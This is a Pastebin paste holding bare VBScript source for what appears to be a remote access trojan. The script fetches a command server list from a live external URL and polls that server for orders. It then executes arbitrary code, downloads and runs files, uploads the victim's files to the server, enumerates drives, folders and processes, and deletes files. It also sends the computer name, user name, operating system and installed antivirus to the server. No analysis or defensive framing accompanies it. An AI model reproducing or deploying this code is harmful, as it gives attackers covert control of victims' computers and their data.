Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- url = "http://mslove.mypressonline.com/linkshw.txt"
- Set req = CreateObject("Msxml2.XMLHttp.6.0")
- req.open "GET", url, False
- req.send
- If req.Status = 200 Then
- strLink = req.responseText
- End If
- host = array (strLink)
- set shellobj = createobject("wscript.shell")
- dim filesystemobj
- set filesystemobj = createobject("scripting.filesystemobject")
- dim httpobj
- set httpobj = createobject("msxml2.xmlhttp")
- spliter = "<" & "|" & ">"
- dim response
- dim cmd
- dim param
- info = ""
- usbspreading = ""
- startdate = ""
- dim oneonce
- dns = 0
- on error resume next
- instance
- while true
- install
- response = ""
- response = post ("is-ready",information)
- if httpobj.status <> 200 then
- if dns >= ubound (host) then
- dns = 0
- else
- dns = dns + 1
- end if
- end if
- cmd = split (response,spliter)
- select case cmd (0)
- case "excecute"
- param = cmd (1)
- execute param
- case "send"
- download cmd (1),cmd (2)
- case "site-send"
- sitedownloader cmd (1),cmd (2)
- case "recv"
- param = cmd (1)
- upload (param)
- case "enum-driver"
- post "is-enum-driver",enumdriver
- case "enum-faf"
- param = cmd (1)
- post "is-enum-faf",enumfaf (param)
- case "enum-process"
- post "is-enum-process",enumprocess
- case "delete"
- param = cmd (1)
- deletefaf (param)
- case "exit-process"
- param = cmd (1)
- exitprocess (param)
- end select
- wend
- function post (cmd ,param)
- post = param
- httpobj.open "post","http://" & host(dns) &"/" & cmd, false
- httpobj.send param
- post = httpobj.responsetext
- end function
- function information
- on error resume next
- if inf = "" then
- inf = hwid & spliter
- inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter
- inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter
- set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
- set os = root.execquery ("select * from win32_operatingsystem")
- for each osinfo in os
- inf = inf & osinfo.caption & spliter
- exit for
- next
- inf = inf & "plus" & spliter
- inf = inf & security & spliter
- inf = inf & usbspreading
- information = inf
- else
- information = inf
- end if
- end function
- function hwid
- on error resume next
- set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
- set disks = root.execquery ("select * from win32_logicaldisk")
- for each disk in disks
- if disk.volumeserialnumber <> "" then
- hwid = disk.volumeserialnumber
- exit for
- end if
- next
- end function
- function security
- on error resume next
- security = ""
- set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
- set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
- for each objitem in colitems
- versionstr = split (objitem.version,".")
- next
- versionstr = split (colitems.version,".")
- osversion = versionstr (0) & "."
- for x = 1 to ubound (versionstr)
- osversion = osversion & versionstr (i)
- next
- osversion = eval (osversion)
- if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
- set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
- Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
- for each objantivirus in colantivirus
- security = security & objantivirus.displayname & " ."
- next
- if security = "" then security = "nan-av"
- end function
- sub download (fileurl,filedir)
- if filedir = "" then
- filedir = installdir
- end if
- strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
- set objhttpdownload = createobject("msxml2.xmlhttp")
- objhttpdownload.open "post","http://" & host(dns) &"/" & "is-sending" & spliter & fileurl, false
- objhttpdownload.send ""
- set objfsodownload = createobject ("scripting.filesystemobject")
- if objfsodownload.fileexists (strsaveto) then
- objfsodownload.deletefile (strsaveto)
- end if
- if objhttpdownload.status = 200 then
- dim objstreamdownload
- set objstreamdownload = createobject("adodb.stream")
- with objstreamdownload
- .type = 1
- .open
- .write objhttpdownload.responsebody
- .savetofile strsaveto
- .close
- end with
- set objstreamdownload = nothing
- end if
- if objfsodownload.fileexists(strsaveto) then
- shellobj.run objfsodownload.getfile (strsaveto).shortpath
- end if
- end sub
- function upload (fileurl)
- dim objstreamuploade,buffer
- set objstreamuploade = createobject("adodb.stream")
- with objstreamuploade
- .type = 1
- .open
- .loadfromfile fileurl
- buffer = .read
- .close
- end with
- set objstreamdownload = nothing
- post "is-recving" & spliter & fileurl,buffer
- end function
- function enumdriver ()
- for each drive in filesystemobj.drives
- if drive.isready = true then
- enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
- end if
- next
- end Function
- function enumfaf (enumdir)
- enumfaf = enumdir & spliter
- for each folder in filesystemobj.getfolder (enumdir).subfolders
- enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
- next
- for each file in filesystemobj.getfolder (enumdir).files
- enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter
- next
- end function
- function enumprocess ()
- on error resume next
- set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
- set colitems = objwmiservice.execquery("select * from win32_process",,48)
- dim objitem
- for each objitem in colitems
- enumprocess = enumprocess & objitem.name & "|"
- enumprocess = enumprocess & objitem.processid & "|"
- enumprocess = enumprocess & objitem.executablepath & spliter
- next
- end function
- sub deletefaf (url)
- on error resume next
- filesystemobj.deletefile url
- filesystemobj.deletefolder url
- end sub
Add Comment
Please, Sign In to add comment